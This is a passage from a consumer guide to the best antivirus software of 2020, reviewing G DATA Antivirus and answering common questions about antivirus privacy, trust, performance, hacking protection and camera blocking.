G DATA isn't the most recognizable name out there, mostly because they've just recently started advertising their home software more aggressively. However, if you search online for the most secure antivirus solutions, you'll find G DATA's products on those lists. This is actually a German company founded in 1985, and this company is known for creating the world's first antivirus. Sounds promising, right?

So, let's see what G DATA Antivirus brings. First, you get reliable protection against antivirus threats with a success rate of up to 100%. However, we're not talking about passive protection here. This antivirus actively scans your system to protect you from unknown malware and software exploits. You also get email scanning and anti-ransomware protection. In other words, this antivirus brings pretty much everything you'd normally expect out of a capable antivirus solution.

Let's not forget about the more advanced tools found here. A feature called "BankGuard" is designed to secure your Internet browser while accessing your bank account online or while shopping. And there's also something called "USB Keyboard Guard," protecting you against manipulated USB devices (pretending to be a keyboard), including USB sticks and external hard drives. The only downside to using G DATA Antivirus is the fact that it can slow down your computer a bit – if you're using a low-end PC. However, plenty could be done to optimize this antivirus's performance, so you can avoid loading database updates during your "active hours," for example.

  • Pros: A complete set of features; Affordable price; Proactive anti-malware monitoring; Protection of financial/payment information.
  • Cons: Doesn't come with the smoothest performance (for low-end PCs).

FAQ

Now that you know a bit about the best antivirus in 2020, it's time to answer some commonly asked questions. Hopefully, these will help you resolve any dilemmas you might be having about this type of software.

Do Antivirus Apps Collect Personal Information?

Earlier this year, it was found that Avast was harvesting users' Web browser histories to sell that information to third parties. Even though this data was "de-identified," it was discovered that people's real identities were exposed in the process. The company shut down its data-harvesting arm soon after, but its reputation was permanently tarnished.

Luckily for us, this was an isolated incident of an antivirus vendor directly exposing its customers. However, keep in mind that antivirus applications are made to battle against malware – not hide what you do online. To be on the safe side, we always recommend reading privacy policies.

Can You Trust Antivirus Software?

You shouldn't trust just about any antivirus company. However, there are plenty of long-standing and decades-old cybersecurity companies, coming with a reputation for preserving their users' right to privacy. We always recommend reading privacy policies and doing some background research prior to choosing an antivirus.

Keep in mind that free-of-charge antivirus solutions are more likely to collect personal information and (after removing any ties to its users) sell it to third-parties. This is why we always recommend going for a premium-priced alternative instead.

Do Antivirus Applications Protect Your Privacy as Well?

The main purpose of antivirus software is to protect you against online threats. These applications make sure that your device is malware-free by offering proactive protection. However, if you'd like to take care of your privacy, you should also use a VPN application.

Do You Need a Fast Computer to Run Antivirus Software?

Having a fast computer certainly helps, but this isn't a strict requirement. Today's antivirus applications are designed to run on a broad range of machines, even those with low-end specs. Of course, if you have an older computer, you need to be extra careful when choosing an Antivirus. To be on the safe side, pick an Antivirus that comes with generous money-back guarantees.

Do Antivirus Apps Prevent Hacking?

Antivirus applications detect and eliminate malware. It means that a powerful antivirus will make it harder for hackers to reach your computer if they're using malware as a hacking tool. However, to prevent anyone from infiltrating your device or your network, you need a dedicated firewall solution.

Do Antivirus Apps Block Camera?

Yes, some antivirus applications can prevent other software from accessing your camera by restricting the required permissions. On Windows 10, you can disable this option by going to Settings > Privacy > Camera and allowing other apps to use your camera. Make sure to inspect your antivirus as well, especially its settings panel, where you can enable/block access to your camera.

What's The Best Antivirus for Android?
What's The Best Antivirus for iPhone & iPad?

You've finally reached the end of our guide to the best antivirus in 2020. If you have any questions or doubts, make sure to post a comment below. We're always happy to talk to our readers, and we promise that we'll respond as soon as possible.

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